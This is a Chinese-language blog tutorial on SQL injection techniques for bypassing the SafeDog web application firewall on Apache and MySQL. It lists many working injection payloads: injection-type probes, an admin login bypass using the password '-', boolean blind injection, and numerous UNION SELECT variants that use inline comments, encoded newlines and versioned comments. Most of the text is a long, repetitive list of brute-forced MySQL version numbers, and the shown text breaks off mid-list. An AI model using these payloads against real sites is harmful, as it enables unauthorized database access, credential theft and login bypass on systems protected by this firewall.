sql注入100种姿势过waf(二):过安全狗
仅供学习交流如果你有更好的思路可以一起分享,想一起学习的进我主页
先去安全狗网站下载最新的安全狗版本
从官网下载 windwos apache版 v4.0.2395 最新版 数据库是mysql 5.6
1.首先判断是否有注入点包括是字符型还是数字型注入
我们假设他是数字型注入 构造 id=0=0
在数据库中执行
获取了全部数据 从返回的数据 我们立马断定他是数字型注入 而如果是字符型注入 代码里应该是 where id='$id' 就是
select * from `users` where id='0=0' 返回结果为空 那怎么判断是字符型注入呢? 利用t-sql 弱语言特性 true-false 减法转换
输入 '-' 在数据库里就是 username=''-'' 如果执行返回有数据 可以判断是字符注入
返回所有不为空的数据 就是所有 我们可以在登录时输入判断是否有注入
默认登录表中第一个用户 也可以把 用户改成 admin 密码是 '-' 就可以登录amdin账户 通过上面的例子 我们通过 0=0 和 '-' 迅速判断是否有注入和注入类型
知道有注入后下一步先对最简单
2. and 1=1 绕过
and 1 拦截
and '1' 拦截
and a 不拦截
and "a"拦截
and ! 不拦截
and 1+1 拦截
and 1+a 拦截
and hex(1) 不拦截
and 后面跟上 数字型和字符型时他会给我们拦截掉 可以用其他的运算符号 | ^ xor & / * && || -+
1^1,1|1 ,1&1 1-1 1+1 1 xor 1 都是不拦的 我们以减号为例子
id=''-(ascii(mid(database/**/()from-1))<100)-'' 成功
我们对 database() 变形 database/**/() 可以运用布尔注入写成脚本跑出所有数据
3.内联注入绕过
内联也是安全狗查的最严的,这个也是重头戏 这里用的姿势对其他的waf同样有效
union 不拦截
select 不拦截
union select 拦截
union 各种字符 select 不拦截
union/*select*/ 不拦截
union x select 安全狗是不拦的 可以把x 替换成可以执行的语句 例如
union all select
union distinctrow select
union disinct select
union all|distinctrow|disinct(select xxxx) 后面用阔号包起来 有很多种组合方式 配合/*!*/ 可以绕过
id=0 union /*!distinctrow/*!(select~1,2,3)*/ %23 成功
id=0 /*!union/*!all/**//*!select*/~1,2,3--+ 成功
x也可以替换成换行符号和空格 通过组合各种绕过 姿势太多了 只拿几个出来展示
%09,%0a,%0b,%0c,%0d,%20,%a0
id=0 union all%23%0a select 1,2,3 成功
id=0 union %23%0aall select 1,2,3 成功
id=0 union --+X%0A select 1,2,3%23
id=0 union %0a%23%0a select 1,2,3 这个前几个版本是可以的绕过的
id=0 union %0a--+%0a select 1,2,3 这个前几个版本是可以的绕过的
现在我们需要加入其他注释符混淆
id=0 --+/*%0aunion select 1,2,3 %0a--+*/ 成功
id=0 --+/*%0aunion select 1,2,3 %0a%23*/ 成功
我们发现 /**/ 里面的安全狗都不检查 我们可以
id=0/*&id=0 union select 1,2,3%23*/ 成功
id=0-"/*" union select 1,2,3 "*/" 成功
id=0-'/*' union select 1,2,3 '*/' 成功
id=0-'/*' union select 1,2,3 %23*/ 成功
id=0-'/*' union select 1,2,3 --+*/ 成功
还可以利用版本号绕过/*!50000xxx*/
id=0 union /*!50000select*/ 1,2,3%23 不通过 从00000~99999 总有漏网之鱼 我们这里的mysql 版本是5.6 其实只有00000~56000 才能成功执行
通过脚本跑出来了
剔除大于56000的
['00044', '00044', '00144', '00144', '00244', '00244', '00344', '00344', '00449', '00449', '00448', '00448', '00447', '00447', '00446', '00446', '00445', '00445', '00444', '00444', '00443', '00443', '00442', '00442', '00441', '00441', '00440', '00440', '00544', '00544', '00644', '00644', '00744', '00744', '00844', '00844', '00944', '00944', '01044', '01044', '01144', '01144', '01244', '01244', '01344', '01344', '01444', '01444', '01443', '01443', '01442', '01442', '01441', '01441', '01440', '01440', '01447', '01447', '01446', '01446', '01445', '01445', '01449', '01449', '01448', '01448', '01544', '01544', '01644', '01644', '01744', '01744', '01844', '01844', '01944', '01944', '02044', '02044', '02144', '02144', '02244', '02244', '02344', '02344', '02442', '02442', '02441', '02441', '02440', '02440', '02446', '02446', '02445', '02445', '02444', '02444', '02443', '02443', '02544', '02544', '02449', '02449', '02448', '02448', '02447', '02447', '02644', '02644', '02744', '02744', '02844', '02844', '02944', '02944', '03044', '03044', '03144', '03144', '03244', '03244', '03344', '03344', '03442', '03442', '03441', '03441', '03440', '03440', '03445', '03445', '03444', '03444', '03443', '03443', '03449', '03449', '03448', '03448', '03447', '03447', '03446', '03446', '03544', '03544', '03644', '03644', '03744', '03744', '03844', '03844', '03944', '03944', '04044', '04044', '04144', '04144', '04244', '04244', '04344', '04344', '04400', '04400', '04401', '04401', '04402', '04402', '04403', '04403', '04404', '04404', '04405', '04405', '04406', '04406', '04407', '04407', '04408', '04408', '04409', '04409', '04410', '04410', '04411', '04411', '04413', '04413', '04412', '04412', '04414', '04414', '04415', '04415', '04416', '04416', '04417', '04417', '04418', '04418', '04419', '04419', '04420', '04420', '04421', '04421', '04422', '04422', '04423', '04423', '04424', '04424', '04425', '04425', '04426', '04426', '04427', '04427', '04428', '04428', '04429', '04429', '04430', '04430', '04431', '04431', '04432', '04432', '04433', '04433', '04434', '04434', '04435', '04435', '04436', '04436', '04437', '04437', '04438', '04438', '04439', '04439', '04441', '04441', '04440', '04440', '04443', '04443', '04442', '04442', '04444', '04444', '04445', '04445', '04446', '04446', '04447', '04447', '04448', '04448', '04450', '04450', '04449', '04449', '04452', '04452', '04451', '04451', '04453', '04453', '04454', '04454', '04455', '04455', '04456', '04456', '04458', '04458', '04457', '04457', '04459', '04459', '04460', '04460', '04465', '04465', '04464', '04464', '04463', '04463', '04461', '04461', '04462', '04462', '04466', '04466', '04467', '04467', '04468', '04468', '04469', '04469', '04471', '04471', '04470', '04470', '04472', '04472', '04473', '04473', '04474', '04474', '04475', '04475', '04476', '04476', '04479', '04479', '04477', '04477', '04478', '04478', '04480', '04480', '04481', '04481', '04482', '04482', '04483', '04483', '04484', '04484', '04485', '04485', '04489', '04489', '04488', '04488', '04487', '04487', '04486', '04486', '04495', '04495', '04494', '04494', '04493', '04493', '04492', '04492', '04491', '04491', '04490', '04490', '04499', '04499', '04498', '04498', '04497', '04497', '04496', '04496', '04544', '04544', '04644', '04644', '04744', '04744', '04844', '04844', '04944', '04944', '05044', '05044', '05144', '05144', '05244', '05244', '05344', '05344', '05440', '05440', '05441', '05441', '05442', '05442', '05443', '05443', '05444', '05444', '05445', '05445', '05446', '05446', '05447', '05447', '05449', '05449', '05448', '05448', '05544', '05544', '05644', '05644', '05744', '05744', '05944', '05944', '05844', '05844', '06044', '06044', '06144', '06144', '06244', '06244', '06344', '06344', '06441', '06441', '06440', '06440', '06544', '06544', '06449', '06449', '06448', '06448', '06447', '06447', '06446', '06446', '06445', '06445', '06444', '06444', '06443', '06443', '06442', '06442', '06644', '06644', '06744', '06744', '06844', '06844', '06944', '06944', '07044', '07044', '07144', '07144', '07244', '07244', '07344', '07344', '07444', '07444', '07443', '07443', '07442', '07442', '07441', '07441', '07440', '07440', '07449', '07449', '07448', '07448', '07447', '07447', '07446', '07446', '07445', '07445', '07544', '07544', '07644', '07644', '07744', '07744', '07844', '07844', '07944', '07944', '08044', '08044', '08144', '08144', '08244', '08244', '08344', '08344', '08440', '08440', '08449', '08449', '08441', '08441', '08448', '08448', '08447', '08447', '08446', '08446', '08445', '08445', '08444', '08444', '08443', '08443', '08442', '08442', '08544', '08544', '08644', '08644', '08744', '08744', '08844', '08844', '08944', '08944', '09044', '09044', '09144', '09144', '09244', '09244', '09344', '09344', '09440', '09440', '09441', '09441', '09449', '09449', '09448', '09448', '09447', '09447', '09446', '09446', '09445', '09445', '09444', '09444', '09443', '09443', '09442', '09442', '09544', '09544', '09644', '09644', '09744', '09744', '09844', '09844', '09944', '09944', '10044', '10044', '10144', '10144', '10244', '10244', '10344', '10344', '10440', '10440', '10445', '10445', '10444', '10444', '10443', '10443', '10442', '10442', '10441', '10441', '10449', '10449', '10448', '10448', '10447', '10447', '10446', '10446', '10544', '10544', '10644', '10644', '10744', '10744', '10844', '10844', '10944', '10944', '11044', '11044', '11144', '11144', '11244', '11244', '11344', '11344', '11440', '11440', '11445', '11445', '11444', '11444', '11443', '11443', '11442', '11442', '11441', '11441', '11449', '11449', '11448', '11448', '11447', '11447', '11446', '11446', '11544', '11544', '11644', '11644', '11744', '11744', '11844', '11844', '11944', '11944', '12044', '12044', '12144', '12144', '12244', '12244', '12344', '12344', '12447', '12447', '12446', '12446', '12445', '12445', '12444', '12444', '12443', '12443', '12442', '12442', '12441', '12441', '12440', '12440', '12449', '12449', '12448', '12448', '12544', '12544', '12644', '12644', '12744', '12744', '12844', '12844', '12944', '12944', '13044', '13044', '13144', '13144', '13244', '13244', '13344', '13344', '13448', '13448', '13447', '13447', '13446', '13446', '13445', '13445', '13444', '13444', '13443', '13443', '13442', '13442', '13441', '13441', '13440', '13440', '13449', '13449', '13544', '13544', '13644', '13644', '13744', '13744', '13844', '13844', '13944', '13944', '14044', '14044', '14144', '14144', '14244', '14244', '14344', '14344', '14400', '14400', '14401', '14401', '14404', '14404', '14405', '14405', '14403', '14403', '14402', '14402', '14413', '14413', '14407', '14407', '14406', '14406', '14418', '14418', '14417', '14417', '14416', '14416', '14415', '14415', '14414', '14414', '14409', '14409', '14408', '14408', '14410', '14410', '14411', '14411', '14412', '14412', '14419', '14419', '14420', '14420', '14421', '14421', '14422', '14422', '14424', '14424', '14423', '14423', '14425', '14425', '14426', '14426', '14427', '14427', '14428', '14428', '14429', '14429', '14430', '14430', '14431', '14431', '14433', '14433', '14434', '14434', '14432', '14432', '14435', '14435', '14436', '14436', '14437', '14437', '14438', '14438', '14439', '14439', '14440', '14440', '14441', '14441', '14442', '14442', '14443', '14443', '14444', '14444', '14445', '14445', '14446', '14446', '14447', '14447', '14448', '14448', '14449', '14449', '14450', '14450', '14451', '14451', '14452', '14452', '14453', '14453', '14454', '14454', '14459', '14459', '14455', '14455', '14456', '14456', '14458', '14458', '14457', '14457', '14460', '14460', '14461', '14461', '14463', '14463', '14462', '14462', '14464', '14464', '14466', '14466', '14465', '14465', '14467', '14467', '14468', '14468', '14469', '14469', '14470', '14470', '14471', '14471', '14472', '14472', '14474', '14474', '14473', '14473', '14475', '14475', '14476', '14476', '14477', '14477', '14478', '14478', '14479', '14479', '14480', '14480', '14483', '14483', '14482', '14482', '14481', '14481', '14486', '14486', '14485', '14485', '14484', '14484', '14495', '14495', '14494', '14494', '14493', '14493', '14492', '14492', '14491', '14491', '14490', '14490', '14489', '14489', '14488', '14488', '14487', '14487', '14499', '14499', '14498', '14498', '14497', '14497', '14496', '14496', '14544', '14544', '14644', '14644', '14744', '14744', '14844', '14844', '14944', '14944', '15044', '15044', '15144', '15144', '15244', '15244', '15344', '15344', '15444', '15444', '15443', '15443', '15442', '15442', '15441', '15441', '15440', '15440', '15449', '15449', '15448', '15448', '15447', '15447', '15446', '15446', '15445', '15445', '15544', '15544', '15644', '15644', '15744', '15744', '15844', '15844', '15944', '15944', '16044', '16044', '16144', '16144', '16244', '16244', '16344', '16344', '16446', '16446', '16445', '16445', '16444', '16444', '16443', '16443', '16442', '16442', '16441', '16441', '16440', '16440', '16449', '16449', '16448', '16448', '16447', '16447', '16544', '16544', '16644', '16644', '16744', '16744', '16844', '16844', '16944', '16944', '17044', '17044', '17144', '17144', '17244', '17244', '17344', '17344', '17449', '17449', '17448', '17448', '17447', '17447', '17446', '17446', '17445', '17445', '17444', '17444', '17443', '17443', '17442', '17442', '17441', '17441', '17440', '17440', '17544', '17544', '17644', '17644', '17744', '17744', '17844', '17844', '17944', '17944', '18044', '18044', '18144', '18144', '18244', '18244', '18344', '18344', '18440', '18440', '18544', '18544', '18449', '18449', '18448', '18448', '18447', '18447', '18446', '18446', '18445', '18445', '18444', '18444', '18443', '18443', '18442', '18442', '18441', '18441', '18644', '18644', '18744', '18744', '18844', '18844', '18944', '18944', '19044', '19044', '19144', '19144', '19244', '19244', '19344', '19344', '19441', '19441', '19448', '19448', '19447', '19447', '19442', '19442', '19445', '19445', '19440', '19440', '19446', '19446', '19444', '19444', '19443', '19443', '19449', '19449', '19544', '19544', '19644', '19644', '19744', '19744', '19844', '19844', '19944', '19944', '20044', '20044', '20144', '20144', '20244', '20244', '20344', '20344', '20448', '20448', '20447', '20447', '20445', '20445', '20444', '20444', '20443', '20443', '20442', '20442', '20441', '20441', '20440', '20440', '20449', '20449', '20446', '20446', '20544', '20544', '20644', '20644', '20744', '20744', '20844', '20844', '20944', '20944', '21044', '21044', '21144', '21144', '21244', '21244', '21344', '21344', '21441', '21441', '21440', '21440', '21445', '21445', '21444', '21444', '21443', '21443', '21449', '21449', '21442', '21442', '21448', '21448', '21447', '21447', '21446', '21446', '21544', '21544', '21644', '21644', '21744', '21744', '21844', '21844', '21944', '21944', '22044', '22044', '22144', '22144', '22244', '22244', '22344', '22344', '22440', '22440', '22448', '22448', '22447', '22447', '22446', '22446', '22445', '22445', '22444', '22444', '22443', '22443', '22442', '22442', '22441', '22441', '22449', '22449', '22544', '22544', '22644', '22644', '22744', '22744', '22844', '22844', '22944', '22944', '23044', '23044', '23144', '23144', '23244', '23244', '23344', '23344', '23440', '23440', '23441', '23441', '23443', '23443', '23442', '23442', '23445', '23445', '23444', '23444', '23446', '23446', '23447', '23447', '23449', '23449', '23448', '23448', '23544', '23544', '23644', '23644', '23744', '23744', '23844', '23844', '23944', '23944', '24044', '24044', '24144', '24144', '24244', '24244', '24344', '24344', '24401', '24401', '24402', '24402', '24400', '24400', '24404', '24404', '24403', '24403', '24406', '24406', '24405', '24405', '24408', '24408', '24407', '24407', '24409', '24409', '24410', '24410', '24412', '24412', '24411', '24411', '24413', '24413', '24414', '24414', '24415', '24415', '24416', '24416', '24417', '24417', '24419', '24419', '24418', '24418', '24420', '24420', '24421', '24421', '24422', '24422', '24423', '24423', '24424', '24424', '24425', '24425', '24426', '24426', '24427', '24427', '24428', '24428', '24429', '24429', '24430', '24430', '24431', '24431', '24432', '24432', '24433', '24433', '24434', '24434', '24435', '24435', '24436', '24436', '24437', '24437', '24439', '24439', '24438', '24438', '24440', '24440', '24441', '24441', '24442', '24442', '24443', '24443', '24444', '24444', '24445', '24445', '24447', '24447', '24446', '24446', '24448', '24448', '24449', '24449', '24450', '24450', '24451', '24451', '24452', '24452', '24453', '24453', '24454', '24454', '24455', '24455', '24456', '24456', '24457', '24457', '24458', '24458', '24459', '24459', '24460', '24460', '24461', '24461', '24462', '24462', '24464', '24464', '24463', '24463', '24466', '24466', '24467', '24467', '24468', '24468', '24465', '24465', '24470', '24470', '24469', '24469', '24471', '24471', '24472', '24472', '24473', '24473', '24474', '24474', '24475', '24475', '24476', '24476', '24477', '24477', '24480', '24480', '24478', '24478', '24479', '24479', '24481', '24481', '24482', '24482', '24483', '24483', '24484', '24484', '24485', '24485', '24488', '24488', '24487', '24487', '24486', '24486', '24492', '24492', '24491', '24491', '24490', '24490', '24489', '24489', '24495', '24495', '24494', '24494', '24496', '24496', '24497', '24497', '24493', '24493', '24498', '24498', '24499', '24499', '24544', '24544', '24644', '24644', '24744', '24744', '24844', '24844', '24944', '24944', '25044', '25044', '25144', '25144', '25244', '25244', '25344', '25344', '25441', '25441', '25440', '25440', '25445', '25445', '25444', '25444', '25443', '25443', '25442', '25442', '25449', '25449', '25448', '25448', '25447', '25447', '25446', '25446', '25544', '25544', '25644', '25644', '25744', '25744', '25844', '25844', '25944', '25944', '26044', '26044', '26144', '26144', '26244', '26244', '26344', '26344', '26443', '26443', '26442', '26442', '26441', '26441', '26440', '26440', '26447', '26447', '26446', '26446', '26445', '26445', '26444', '26444', '26449', '26449', '26448', '26448', '26544', '26544', '26644', '26644', '26744', '26744', '26844', '26844', '26944', '26944', '27044', '27044', '27144', '27144', '27244', '27244', '27344', '27344', '27443', '27443', '27442', '27442', '27441', '27441', '27440', '27440', '27449', '27449', '27448', '27448', '27447', '27447', '27446', '27446', '27445', '27445', '27444', '27444', '27544', '27544', '27644', '27644', '27744', '27744', '27844', '27844', '27944', '27944', '28044', '28044', '28144', '28144', '28244', '28244', '28344', '28344', '28443', '28443', '28442', '28442', '28441', '28441', '28440', '28440', '28446', '28446', '28447', '28447', '28445', '28445', '28444', '28444', '28449', '28449', '28448', '28448', '28544', '28544', '28644', '28644', '28744', '28744', '28844', '28844', '28944', '28944', '29044', '29044', '29144', '29144', '29244', '29244', '29344', '29344', '29441', '29441', '29440', '29440', '29444', '29444', '29443', '29443', '29442', '29442', '29446', '29446', '29445', '29445', '29449', '29449', '29448', '29448', '29447', '29447', '29544', '29544', '29644', '29644', '29744', '29744', '29844', '29844', '29944', '29944', '30044', '30044', '30144', '30144', '30244', '30244', '30344', '30344', '30443', '30443', '30445', '30445', '30442', '30442', '30440', '30440', '30448', '30448', '30447', '30447', '30446', '30446', '30444', '30444', '30441', '30441', '30449', '30449', '30544', '30544', '30644', '30644', '30744', '30744', '30944', '30944', '30844', '30844', '31044', '31044', '31144', '31144', '31244', '31244', '31344', '31344', '31440', '31440', '31447', '31447', '31446', '31446', '31445', '31445', '31444', '31444', '31443', '31443', '31442', '31442', '31441', '31441', '31449', '31449', '31448', '31448', '31544', '31544', '31644', '31644', '31744', '31744', '31844', '31844', '31944', '31944', '32044', '32044', '32144', '32144', '32244', '32244', '32344', '32344', '32440', '32440', '32445', '32445', '32444', '32444', '32443', '32443', '32442', '32442', '32441', '32441', '32449', '32449', '32448', '32448', '32447', '32447', '32446', '32446', '32544', '32544', '32644', '32644', '32744', '32744', '32844', '32844', '32944', '32944', '33044', '33044', '33144', '33144', '33244', '33244', '33344', '33344', '33440', '33440', '33445', '33445', '33444', '33444', '33443', '33443', '33442', '33442', '33441', '33441', '33449', '33449', '33448', '33448', '33447', '33447', '33446', '33446', '33544', '33544', '33644', '33644', '33744', '33744', '33844', '33844', '33944', '33944', '34044', '34044', '34144', '34144', '34244', '34244', '34344', '34344', '34400', '34400', '34401', '34401', '34402', '34402', '34403', '34403', '34404', '34404', '34405', '34405', '34406', '34406', '34407', '34407', '34408', '34408', '34409', '34409', '34411', '34411', '34410', '34410', '34412', '34412', '34413', '34413', '34414', '34414', '34415', '34415', '34416', '34416', '34417', '34417', '34418', '34418', '34419', '34419', '34420', '34420', '34421', '34421', '34423', '34423', '34424', '34424', '34422', '34422', '34425', '34425', '34426', '34426', '34427', '34427', '34428', '34428', '34429', '34429', '34430', '34430', '34431', '34431', '34432', '34432', '34433', '34433', '34434', '34434', '34435', '34435', '34437', '34437', '34436', '34436', '34438', '34438', '34439', '34439', '34440', '34440', '34441', '34441', '34442', '34442', '34445', '34445', '34444', '34444', '34443', '34443', '34446', '34446', '34447', '34447', '34448', '34448', '34450', '34450', '34449', '34449', '34451', '34451', '34452', '34452', '34454', '34454', '34453', '34453', '34455', '34455', '34456', '34456', '34457', '34457', '34458', '34458', '34459', '34459', '34460', '34460', '34461', '34461', '34462', '34462', '34464', '34464', '34468', '34468', '34467', '34467', '34466', '34466', '34465', '34465', '34463', '34463', '34469', '34469', '34470', '34470', '34471', '34471', '34472', '34472', '34473', '34473', '34474', '34474', '34475', '34475', '34476', '34476', '34477', '34477', '34478', '34478', '34479', '34479', '34480', '34480', '34481', '34481', '34482', '34482', '34483', '34483', '34484', '34484', '34486', '34486', '34485', '34485', '34490', '34490', '34489', '34489', '34488', '34488', '34487', '34487', '34492', '34492', '34491', '34491', '34495', '34495', '34494', '34494', '34493', '34493', '34498', '34498', '34497', '34497', '34496', '34496', '34499', '34499', '34544', '34544', '34644', '34644', '34744', '34744', '34844', '34844', '34944', '34944', '35044', '35044', '35144', '35144', '35244', '35244', '35344', '35344', '35442', '35442', '35441', '35441', '35440', '35440', '35447', '35447', '35446', '35446', '35445', '35445', '35444', '35444', '35443', '35443', '35449', '35449', '35448', '35448', '35544', '35544', '35644', '35644', '35744', '35744', '35844', '35844', '35944', '35944', '36044', '36044', '36144', '36144', '36244', '36244', '36344', '36344', '36440', '36440', '36442', '36442', '36441', '36441', '36446', '36446', '36445', '36445', '36444', '36444', '36443', '36443', '36449', '36449', '36448', '36448', '36447', '36447', '36544', '36544', '36644', '36644', '36744', '36744', '36844', '36844', '36944', '36944', '37044', '37044', '37144', '37144', '37244', '37244', '37344', '37344', '37440', '37440', '37443', '37443', '37442', '37442', '37441', '37441', '37447', '37447', '37446', '37446', '37445', '37445', '37444', '37444', '37449', '37449', '37448', '37448', '37544', '37544', '37644', '37644', '37744', '37744', '37844', '37844', '37944', '37944', '38044', '38044', '38144', '38144', '38244', '38244', '38344', '38344', '38444', '38444', '38443', '38443', '38442', '38442', '38441', '38441', '38440', '38440', '38447', '38447', '38446', '38446', '38445', '38445', '38449', '38449', '38448', '38448', '38644', '38644', '38544', '38544', '38744', '38744', '38844', '38844', '38944', '38944', '39044', '39044', '39144', '39144', '39244', '39244', '39344', '39344', '39446', '39446', '39445', '39445', '39444', '39444', '39443', '39443', '39442', '39442', '39441', '39441', '39440', '39440', '39447', '39447', '39448', '39448', '39449', '39449', '39544', '39544', '39644', '39644', '39744', '39744', '39844', '39844', '39944', '39944', '40044', '40044', '40144', '40144', '40244', '40244', '40344', '40344', '40440', '40440', '40443', '40443', '40442', '40442', '40441', '40441', '40446', '40446', '40445', '40445', '40444', '40444', '40449', '40449', '40448', '40448', '40447', '40447', '40544', '40544', '40644', '40644', '40744', '40744', '40844', '40844', '40944', '40944', '41044', '41044', '41144', '41144', '41244', '41244', '41344', '41344', '41440', '41440', '41445', '41445', '41444', '41444', '41443', '41443', '41442', '41442', '41441', '41441', '41449', '41449', '41448', '41448', '41447', '41447', '41446', '41446', '41544', '41544', '41644', '41644', '41744', '41744', '41844', '41844', '41944', '41944', '42044', '42044', '42144', '42144', '42244', '42244', '42344', '42344', '42441', '42441', '42440', '42440', '42446', '42446', '42445', '42445', '42444', '42444', '42443', '42443', '42442', '42442', '42449', '42449', '42448', '42448', '42447', '42447', '42544', '42544', '42644', '42644', '42744', '42744', '42844', '42844', '42944', '42944', '43044', '43044', '43144', '43144', '43244', '43244', '43344', '43344', '43440', '43440', '43445', '43445', '43444', '43444', '43443', '43443', '43442', '43442', '43441', '43441', '43449', '43449', '43448', '43448', '43447', '43447', '43446', '43446', '43544', '43544', '43644', '43644', '43744', '43744', '43844', '43844', '43944', '43944', '44000', '44000', '44001', '44001', '44003', '44003', '44004', '44004', '44005', '44005', '44006', '44006', '44007', '44007', '44008', '44008', '44002', '44002', '44015', '44015', '44009', '44009', '44018', '44018', '44014', '44014', '44017', '44017', '44010', '44010', '44011', '44011', '44012', '44012', '44013', '44013', '44016', '44016', '44019', '44019', '44020', '44020', '44021', '44021', '44022', '44022', '44023', '44023', '44024', '44024', '44025', '44025', '44026', '44026', '44027', '44027', '44028', '44028', '44029', '44029', '44030', '44030', '44031', '44031', '44032', '44032', '44033', '44033', '44034', '44034', '44035', '44035', '44036', '44036', '44037', '44037', '44038', '44038', '44039', '44039', '44041', '44041', '44040', '44040', '44042', '44042', '44043', '44043', '44044', '44044', '44045', '44045', '44046', '44046', '44048', '44048', '44047', '44047', '44049', '44049', '44050', '44050', '44051', '44051', '44052', '44052', '44053', '44053', '44054', '44054', '44055', '44055', '44056', '44056', '44057', '44057', '44058', '44058', '44059', '44059', '44060', '44060', '44061', '44061', '44063', '44063', '44066', '44066', '44062', '44062', '44065', '44065', '44064', '44064', '44067', '44067', '44068', '44068', '44069', '44069', '44071', '44071', '44070', '44070', '44072', '44072', '44073', '44073', '44074', '44074', '44075', '44075', '44076', '44076', '44077', '44077', '44078', '44078', '44079', '44079', '44083', '44083', '44084', '44084', '44082', '44082', '44080', '44080', '44081', '44081', '44085', '44085', '44086', '44086', '44087', '44087', '44088', '44088', '44089', '44089', '44090', '44090', '44091', '44091', '44092', '44092', '44093', '44093', '44094', '44094', '44095', '44095', '44096', '44096', '44097', '44097', '44098', '44098', '44099', '44099', '44100', '44100', '44101', '44101', '44103', '44103', '44105', '44105', '44104', '44104', '44106', '44106', '44107', '44107', '44108', '44108', '44102', '44102', '44109', '44109', '44110', '44110', '44111', '44111', '44112', '44112', '44113', '44113', '44114', '44114', '44115', '44115', '44116', '44116', '44117', '44117', '44118', '44118', '44119', '44119', '44120', '44120', '44122', '44122', '44128', '44128', '44125', '44125', '44127', '44127', '44124', '44124', '44121', '44121', '44123', '44123', '44126', '44126', '44130', '44130', '44135', '44135', '44134', '44134', '44133', '44133', '44131', '44131', '44132', '44132', '44129', '44129', '44136', '44136', '44137', '44137', '44138', '44138', '44139', '44139', '44140', '44140', '44141', '44141', '44142', '44142', '44143', '44143', '44144', '44144', '44146', '44146', '44147', '44147', '44148', '44148', '44145', '44145', '44149', '44149', '44150', '44150', '44151', '44151', '44152', '44152', '44153', '44153', '44154', '44154', '44155', '44155', '44156', '44156', '44157', '44157', '44158', '44158', '44159', '44159', '44160', '44160', '44161', '44161', '44162', '44162', '44163', '44163', '44164', '44164', '44165', '44165', '44166', '44166', '44167', '44167', '44168', '44168', '44169', '44169', '44173', '44173', '44170', '44170', '44171', '44171', '44172', '44172', '44175', '44175', '44174', '44174', '44176', '44176', '44177', '44177', '44178', '44178', '44179', '44179', '44180', '44180', '44181', '44181', '44182', '44182', '44185', '44185', '44183', '44183', '44184', '44184', '44186', '44186', '44188', '44188', '44187', '44187', '44190', '44190', '44193', '44193', '44189', '44189', '44192', '44192', '44191', '44191', '44194', '44194', '44195', '44195', '44196', '44196', '44197', '44197', '44198', '44198', '44199', '44199', '44200', '44200', '44201', '44201', '44202', '44202', '44203', '44203', '44204', '44204', '44205', '44205', '44207', '44207', '44208', '44208', '44206', '44206', '44209', '44209', '44213', '44213', '44210', '44210', '44212', '44212', '44211', '44211', '44214', '44214', '44215', '44215', '44216', '44216', '44217', '44217', '44219', '44219', '44218', '44218', '44220', '44220', '44221', '44221', '44222', '44222', '44223', '44223', '44224', '44224', '44228', '44228', '44227', '44227', '44225', '44225', '44226', '44226', '44229', '44229', '44232', '44232', '44230', '44230', '44233', '44233', '44231', '44231', '44234', '44234', '44235', '44235', '44236', '44236', '44237', '44237', '44240', '44240', '44238', '44238', '44239', '44239', '44242', '44242', '44244', '44244', '44241', '44241', '44243', '44243', '44245', '44245', '44246', '44246', '44247', '44247', '44248', '44248', '44249', '44249', '44250', '44250', '44251', '44251', '44252', '44252', '44253', '44253', '44254', '44254', '44255', '44255', '44256', '44256', '44257', '44257', '44258', '44258', '44259', '44259', '44260', '44260', '44261', '44261', '44262', '44262', '44263', '44263', '44265', '44265', '44266', '44266', '44267', '44267', '44268', '44268', '44264', '44264', '44269', '44269', '44270', '44270', '44271', '44271', '44273', '44273', '44272', '44272', '44275', '44275', '44274', '44274', '44276', '44276', '44277', '44277', '44279', '44279', '44280', '44280', '44278', '44278', '44282', '44282', '44281', '44281', '44284', '44284', '44283', '44283', '44285', '44285', '44286', '44286', '44287', '44287', '44288', '44288', '44289', '44289', '44290', '44290', '44293', '44293', '44292', '44292', '44291', '44291', '44294', '44294', '44295', '44295', '44296', '44296', '44297', '44297', '44298', '44298', '44299', '44299', '44300', '44300', '44301', '44301', '44303', '44303', '44302', '44302', '44304', '44304', '44305', '44305', '44306', '44306', '44307', '44307', '44308', '44308', '44309', '44309', '44310', '44310', '44311', '44311', '44312', '44312', '44313', '44313', '44316', '44316', '44314', '44314', '44315', '44315', '44318', '44318', '44317', '44317', '44319', '44319', '44320', '44320', '44322', '44322', '44321', '44321', '44324', '44324', '44325', '44325', '44323', '44323', '44326', '44326', '44328', '44328', '44327', '44327', '44329', '44329', '44330', '44330', '44331', '44331', '44332', '44332', '44333', '44333', '44334', '44334', '44336', '44336', '44335', '44335', '44337', '44337', '44338', '44338', '44339', '44339', '44340', '44340', '44341', '44341', '44342', '44342', '44343', '44343', '44344', '44344', '44345', '44345', '44346', '44346', '44348', '44348', '44347', '44347', '44349', '44349', '44350', '44350', '44353', '44353', '44351', '44351', '44354', '44354', '44352', '44352', '44355', '44355', '44356', '44356', '44357', '44357', '44358', '44358', '44359', '44359', '44360', '44360', '44361', '44361', '44362', '44362', '44363', '44363', '44364', '44364', '44365', '44365', '44366', '44366', '44367', '44367', '44368', '44368', '44369', '44369', '44370', '44370', '44371', '44371', '44372', '44372', '44373', '44373', '44374', '44374', '44376', '44376', '44377', '44377', '44375', '44375', '44378', '44378', '44379', '44379', '44380', '44380', '44381', '44381', '44383', '44383', '44384', '44384', '44382', '44382', '44385', '44385', '44386', '44386', '44387', '44387', '44388', '44388', '44389', '44389', '44390', '44390', '44391', '44391', '44392', '44392', '44393', '44393', '44394', '44394', '44395', '44395', '44396', '44396', '44397', '44397', '44398', '44398', '44399', '44399', '44400', '44400', '44401', '44401', '44402', '44402', '44404', '44404', '44403', '44403', '44405', '44405', '44406', '44406', '44408', '44408', '44407', '44407', '44409', '44409', '44410', '44410', '44411', '44411', '44413', '44413', '44412', '44412', '44414', '44414', '44415', '44415', '44416', '44416', '44417', '44417', '44418', '44418', '44419', '44419', '44420', '44420', '44421', '44421', '44424', '44424', '44423', '44423', '44422', '44422', '44425', '44425', '44426', '44426', '44427', '44427', '44428', '44428', '44429', '44429', '44430', '44430', '44431', '44431', '44432', '44432', '44433', '44433', '44436', '44436', '44434', '44434', '44435', '44435', '44438', '44438', '44437', '44437', '44440', '44440', '44439', '44439', '44445', '44445', '44441', '44441', '44448', '44448', '44447', '44447', '44446', '44446', '44442', '44442', '44443', '44443', '44444', '44444', '44449', '44449', '44450', '44450', '44451', '44451', '44453', '44453', '44452', '44452', '44454', '44454', '44457', '44457', '44456', '44456', '44455', '44455', '44467', '44467', '44468', '44468', '44461', '44461', '44460', '44460', '44459', '44459', '44458', '44458', '44462', '44462', '44463', '44463', '44465', '44465', '44464', '44464', '44466', '44466', '44469', '44469', '44470', '44470', '44472', '44472', '44471', '44471', '44473', '44473', '44474', '44474', '44475', '44475', '44477', '44477', '44476', '44476', '44481', '44481', '44480', '44480', '44479', '44479', '44478', '44478', '44482', '44482', '44483', '44483', '44484', '44484', '44485', 